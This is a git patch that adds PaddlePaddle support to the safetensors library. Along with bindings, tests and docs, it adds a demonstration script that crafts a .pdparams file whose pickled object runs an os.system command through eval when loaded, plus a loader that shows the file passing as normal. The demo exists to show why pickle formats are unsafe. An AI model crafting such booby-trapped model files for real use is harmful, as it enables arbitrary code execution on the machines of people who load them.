From c4e244ece49351ef67c8c132bf50b621133499d1 Mon Sep 17 00:00:00 2001 From: yujun <50394665+JunnYu@users.noreply.github.com> Date: Tue, 7 Feb 2023 22:44:54 +0800 Subject: [PATCH] Add PaddlePaddle backend (#176) * add paddle backend * add paddle ace * update docs * Some modifications. * Consistency. * Showing Paddle format. * donot modify lib.rs * remove test_deserialization_safe_open test * rm unused import * make style * Style. --------- Co-authored-by: Nicolas Patry --- .github/workflows/python.yml | 2 +- .gitignore | 1 + README.md | 1 + attacks/README.md | 8 + attacks/paddle_ace_create.py | 53 +++++++ attacks/paddle_ace_get_pwned.py | 6 + bindings/python/benches/test_paddle.py | 53 +++++++ .../python/py_src/safetensors/__init__.py | 2 +- bindings/python/py_src/safetensors/paddle.py | 138 ++++++++++++++++++ bindings/python/setup.cfg | 1 + bindings/python/setup.py | 10 +- .../python/tests/test_paddle_comparison.py | 28 ++++ bindings/python/tests/test_pt_comparison.py | 8 +- bindings/python/tests/test_simple.py | 2 +- safetensors/Cargo.toml | 2 +- safetensors/README.md | 1 + safetensors/src/lib.rs | 1 + 17 files changed, 307 insertions(+), 10 deletions(-) create mode 100644 attacks/paddle_ace_create.py create mode 100644 attacks/paddle_ace_get_pwned.py create mode 100644 bindings/python/benches/test_paddle.py create mode 100644 bindings/python/py_src/safetensors/paddle.py create mode 100644 bindings/python/tests/test_paddle_comparison.py diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml index f7ae26b..24a6a79 100644 --- a/.github/workflows/python.yml +++ b/.github/workflows/python.yml @@ -60,7 +60,7 @@ jobs: working-directory: ./bindings/python run: | pip install -U pip - pip install .[numpy,tensorflow] + pip install .[numpy,tensorflow,paddlepaddle] pip install ${{ matrix.torch_version }} - name: Install (jax, flax) diff --git a/.gitignore b/.gitignore index df8ad35..0bd235d 100644 --- a/.gitignore +++ b/.gitignore @@ -4,5 +4,6 @@ Cargo.lock *.h5 *.msgpack *.pt +*.pdparams *.safetensors *.npz diff --git a/README.md b/README.md index f545dfd..87bda92 100644 --- a/README.md +++ b/README.md @@ -80,6 +80,7 @@ This is my very personal and probably biased view: | Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ | | Arrow | ? | ? | ? | ? | ? | ? | ✗ | | Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ | +| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | | SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 | - Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ? diff --git a/attacks/README.md b/attacks/README.md index 0eee34c..9be6378 100644 --- a/attacks/README.md +++ b/attacks/README.md @@ -9,6 +9,14 @@ python torch_ace_create.py python torch_ace_get_pwned.py ``` +# PaddlePaddle Arbitrary code execution + +Try it out. This will create a seemingly innocuous `paddle_ace.pdparams` file. +``` +python paddle_ace_create.py +python paddle_ace_get_pwned.py +``` + # Tensorflow (Keras) Arbitrary Code execution (does not affect `transformers`) Try it out. This will create a seemingly innocuous `tf_ace.h5` file. diff --git a/attacks/paddle_ace_create.py b/attacks/paddle_ace_create.py new file mode 100644 index 0000000..1d23bec --- /dev/null +++ b/attacks/paddle_ace_create.py @@ -0,0 +1,53 @@ +import paddle +import numpy as np +from collections import Iterable, OrderedDict + +def _parse_every_object(obj, condition_func, convert_func): + if condition_func(obj): + return convert_func(obj) + elif isinstance(obj, (dict, OrderedDict, list)): + if isinstance(obj, list): + keys = range(len(obj)) + else: + keys = list(obj.keys()) + for key in keys: + if condition_func(obj[key]): + obj[key] = convert_func(obj[key]) + else: + obj[key] = _parse_every_object( + obj[key], condition_func, convert_func + ) + return obj + elif isinstance(obj, tuple): + return tuple( + _parse_every_object(list(obj), condition_func, convert_func) + ) + elif isinstance(obj, set): + object(list(obj), condition_func, convert_func) + else: + return obj + +# hack _parse_every_object method +paddle.framework.io._parse_every_object = _parse_every_object + +class BadDict(dict): + def __init__(self, src: str, **kwargs): + super().__init__(**kwargs) + self.src = src + + def __reduce__(self): + return ( + eval, + (f"os.system('{self.src}') or dict()",), + None, + None, + iter(self.items()), + ) + +paddle.save( + [BadDict( + 'echo "pwned your computer, I can do anything I want."', + **{"weight": paddle.zeros((2, 2))}, + )], + "paddle_ace.pdparams", +) diff --git a/attacks/paddle_ace_get_pwned.py b/attacks/paddle_ace_get_pwned.py new file mode 100644 index 0000000..c4a80fa --- /dev/null +++ b/attacks/paddle_ace_get_pwned.py @@ -0,0 +1,6 @@ +import paddle + +weights = paddle.load("paddle_ace.pdparams")[0] +assert list(weights.keys()) == ["weight"] +assert paddle.allclose(weights["weight"], paddle.zeros((2, 2))) +print("The file looks fine !") diff --git a/bindings/python/benches/test_paddle.py b/bindings/python/benches/test_paddle.py new file mode 100644 index 0000000..ed98830 --- /dev/null +++ b/bindings/python/benches/test_paddle.py @@ -0,0 +1,53 @@ +import tempfile + +import numpy as np + +import paddle +from safetensors.paddle import load_file, save_file + + +def create_gpt2(n_layers: int): + tensors = {} + tensors["wte"] = paddle.zeros((50257, 768)) + tensors["wpe"] = paddle.zeros((1024, 768)) + for i in range(n_layers): + tensors[f"h.{i}.ln_1.weight"] = paddle.zeros((768,)) + tensors[f"h.{i}.ln_1.bias"] = paddle.zeros((768,)) + tensors[f"h.{i}.attn.bias"] = paddle.zeros((1, 1, 1024, 1024)) + tensors[f"h.{i}.attn.c_attn.weight"] = paddle.zeros((768, 2304)) + tensors[f"h.{i}.attn.c_attn.bias"] = paddle.zeros((2304,)) + tensors[f"h.{i}.attn.c_proj.weight"] = paddle.zeros((768, 768)) + tensors[f"h.{i}.attn.c_proj.bias"] = paddle.zeros((768,)) + tensors[f"h.{i}.ln_2.weight"] = paddle.zeros((768,)) + tensors[f"h.{i}.ln_2.bias"] = paddle.zeros((768,)) + tensors[f"h.{i}.mlp.c_fc.weight"] = paddle.zeros((768, 3072)) + tensors[f"h.{i}.mlp.c_fc.bias"] = paddle.zeros((3072,)) + tensors[f"h.{i}.mlp.c_proj.weight"] = paddle.zeros((3072, 768)) + tensors[f"h.{i}.mlp.c_proj.bias"] = paddle.zeros((768,)) + tensors["ln_f.weight"] = paddle.zeros((768,)) + tensors["ln_f.bias"] = paddle.zeros((768,)) + return tensors + + +def test_paddle_paddle_load(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile() as f: + paddle.save(weights, f.name) + result = benchmark(paddle.load, f.name) + + for k, v in weights.items(): + tv = result[k] + assert paddle.allclose(v, tv) + + +def test_paddle_sf_load(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile() as f: + save_file(weights, f.name) + result = benchmark(load_file, f.name) + + for k, v in weights.items(): + tv = result[k] + assert np.allclose(v, tv) diff --git a/bindings/python/py_src/safetensors/__init__.py b/bindings/python/py_src/safetensors/__init__.py index 23ab932..8923ae9 100644 --- a/bindings/python/py_src/safetensors/__init__.py +++ b/bindings/python/py_src/safetensors/__init__.py @@ -1,4 +1,4 @@ __version__ = "0.2.9" # Re-export this -from ._safetensors_rust import safe_open, serialize, serialize_file, deserialize, SafetensorError # noqa: F401 +from ._safetensors_rust import SafetensorError, deserialize, safe_open, serialize, serialize_file # noqa: F401 diff --git a/bindings/python/py_src/safetensors/paddle.py b/bindings/python/py_src/safetensors/paddle.py new file mode 100644 index 0000000..8a83b98 --- /dev/null +++ b/bindings/python/py_src/safetensors/paddle.py @@ -0,0 +1,138 @@ +import os +from typing import Dict, Optional, Union + +import numpy as np + +import paddle +from safetensors import numpy + + +def save(tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]] = None) -> bytes: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, paddle.Tensor]`): + The incoming tensors. Tensors need to be contiguous and dense. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `bytes`: The raw bytes representing the format + + Example: + + ```python + from safetensors.paddle import save + import paddle + + tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))} + byte_data = save(tensors) + ``` + """ + np_tensors = _paddle2np(tensors) + return numpy.save(np_tensors, metadata=metadata) + + +def save_file( + tensors: Dict[str, paddle.Tensor], + filename: Union[str, os.PathLike], + metadata: Optional[Dict[str, str]] = None, +) -> None: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, paddle.Tensor]`): + The incoming tensors. Tensors need to be contiguous and dense. + filename (`str`, or `os.PathLike`)): + The filename we're saving into. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `None` + + Example: + + ```python + from safetensors.paddle import save_file + import paddle + + tensors = {"embedding": paddle.zeros((512, 1024)), "attention": paddle.zeros((256, 256))} + save_file(tensors, "model.safetensors") + ``` + """ + np_tensors = _paddle2np(tensors) + return numpy.save_file(np_tensors, filename, metadata=metadata) + + +def load(data: bytes, device: str = "cpu") -> Dict[str, paddle.Tensor]: + """ + Loads a safetensors file into paddle format from pure bytes. + + Args: + data (`bytes`): + The content of a safetensors file + + Returns: + `Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor` on cpu + + Example: + + ```python + from safetensors.paddle import load + + file_path = "./my_folder/bert.safetensors" + with open(file_path, "rb") as f: + data = f.read() + + loaded = load(data) + ``` + """ + flat = numpy.load(data) + return _np2paddle(flat, device) + + +def load_file(filename: Union[str, os.PathLike], device="cpu") -> Dict[str, paddle.Tensor]: + """ + Loads a safetensors file into paddle format. + + Args: + filename (`str`, or `os.PathLike`)): + The name of the file which contains the tensors + device (`Dict[str, any]`, *optional*, defaults to `cpu`): + The device where the tensors need to be located after load. + available options are all regular paddle device locations + + Returns: + `Dict[str, paddle.Tensor]`: dictionary that contains name as key, value as `paddle.Tensor` + + Example: + + ```python + from safetensors.paddle import load_file + + file_path = "./my_folder/bert.safetensors" + loaded = load_file(file_path) + ``` + """ + flat = numpy.load_file(filename) + output = _np2paddle(flat, device) + return output + + +def _np2paddle(numpy_dict: Dict[str, np.ndarray], device: str = "cpu") -> Dict[str, paddle.Tensor]: + for k, v in numpy_dict.items(): + numpy_dict[k] = paddle.to_tensor(v, place=device) + return numpy_dict + + +def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]: + for k, v in paddle_dict.items(): + paddle_dict[k] = v.detach().cpu().numpy() + return paddle_dict diff --git a/bindings/python/setup.cfg b/bindings/python/setup.cfg index 2d605cc..168141a 100644 --- a/bindings/python/setup.cfg +++ b/bindings/python/setup.cfg @@ -40,6 +40,7 @@ known_third_party = torchvision torch_xla tqdm + paddlepaddle line_length = 119 lines_after_imports = 2 diff --git a/bindings/python/setup.py b/bindings/python/setup.py index ea2c6c3..f6f095f 100644 --- a/bindings/python/setup.py +++ b/bindings/python/setup.py @@ -21,6 +21,7 @@ _deps = [ "pytest-benchmark", "tensorflow", "torch", + "paddlepaddle", ] @@ -36,12 +37,19 @@ extras["torch"] = deps_list("torch") extras["numpy"] = deps_list("numpy") extras["tensorflow"] = deps_list("tensorflow") extras["jax"] = deps_list("jax", "flax") +extras["paddlepaddle"] = deps_list("paddlepaddle") extras["quality"] = deps_list("black", "isort", "flake8", "click") extras["testing"] = ( deps_list("setuptools_rust", "huggingface_hub", "pytest", "pytest-benchmark", "h5py") + extras["numpy"] ) extras["all"] = ( - extras["torch"] + extras["numpy"] + extras["tensorflow"] + extras["jax"] + extras["quality"] + extras["testing"] + extras["torch"] + + extras["numpy"] + + extras["tensorflow"] + + extras["jax"] + + extras["paddlepaddle"] + + extras["quality"] + + extras["testing"] ) extras["dev"] = extras["all"] diff --git a/bindings/python/tests/test_paddle_comparison.py b/bindings/python/tests/test_paddle_comparison.py new file mode 100644 index 0000000..47b69ce --- /dev/null +++ b/bindings/python/tests/test_paddle_comparison.py @@ -0,0 +1,28 @@ +import unittest + +import numpy as np + +import paddle +from safetensors.paddle import load_file, save_file + + +class SafeTestCase(unittest.TestCase): + def setUp(self): + data = { + "test": paddle.zeros((1024, 1024), dtype=paddle.float32), + "test2": paddle.zeros((1024, 1024), dtype=paddle.float32), + "test3": paddle.zeros((1024, 1024), dtype=paddle.float32), + } + self.paddle_filename = "./tests/data/paddle_load.pdparams" + self.sf_filename = "./tests/data/paddle_load.safetensors" + + paddle.save(data, self.paddle_filename) + save_file(data, self.sf_filename) + + def test_deserialization_safe(self): + weights = load_file(self.sf_filename) + + paddle_weights = paddle.load(self.paddle_filename) + for k, v in weights.items(): + tv = paddle_weights[k] + self.assertTrue(np.allclose(v, tv)) diff --git a/bindings/python/tests/test_pt_comparison.py b/bindings/python/tests/test_pt_comparison.py index 38f4f38..f6f2b70 100644 --- a/bindings/python/tests/test_pt_comparison.py +++ b/bindings/python/tests/test_pt_comparison.py @@ -49,11 +49,9 @@ class TorchTestCase(unittest.TestCase): save_file(data, local) self.assertEqual( str(ctx.exception), - ( - "You are trying to save a sparse tensor: `test` which this library does not support. You can make it a" - " dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than" - " needed." - ), + "You are trying to save a sparse tensor: `test` which this library does not support. You can make it a" + " dense tensor before saving with `.to_dense()` but be aware this might make a much larger file than" + " needed.", ) def test_bogus(self): diff --git a/bindings/python/tests/test_simple.py b/bindings/python/tests/test_simple.py index 1f1122e..601f085 100644 --- a/bindings/python/tests/test_simple.py +++ b/bindings/python/tests/test_simple.py @@ -5,8 +5,8 @@ from pathlib import Path import numpy as np import torch +from safetensors import SafetensorError, safe_open, serialize from safetensors.numpy import load, load_file, save, save_file -from safetensors import safe_open, SafetensorError, serialize from safetensors.torch import load_file as load_file_pt from safetensors.torch import save_file as save_file_pt diff --git a/safetensors/Cargo.toml b/safetensors/Cargo.toml index 7e525bc..7ed8302 100644 --- a/safetensors/Cargo.toml +++ b/safetensors/Cargo.toml @@ -6,7 +6,7 @@ homepage = "https://github.com/huggingface/safetensors" repository = "https://github.com/huggingface/safetensors" documentation = "https://docs.rs/safetensors/" license = "Apache-2.0" -keywords = ["safetensors", "huggingface", "Tensors", "Pytorch", "Tensorflow"] +keywords = ["safetensors", "huggingface", "Tensors", "Pytorch", "Tensorflow", "PaddlePaddle"] readme = "./README.md" description = """ Provides functions to read and write safetensors which aim to be safer than diff --git a/safetensors/README.md b/safetensors/README.md index f545dfd..87bda92 100644 --- a/safetensors/README.md +++ b/safetensors/README.md @@ -80,6 +80,7 @@ This is my very personal and probably biased view: | Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ | | Arrow | ? | ? | ? | ? | ? | ? | ✗ | | Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ | +| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | | SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 | - Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ? diff --git a/safetensors/src/lib.rs b/safetensors/src/lib.rs index fd7a88e..efbd3fe 100644 --- a/safetensors/src/lib.rs +++ b/safetensors/src/lib.rs @@ -79,6 +79,7 @@ //!| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ | //!| Arrow | ? | ? | ? | ? | ? | ? | ✗ | //!| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ | +//!| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | //!| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 | //! //!- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ? -- 2.43.0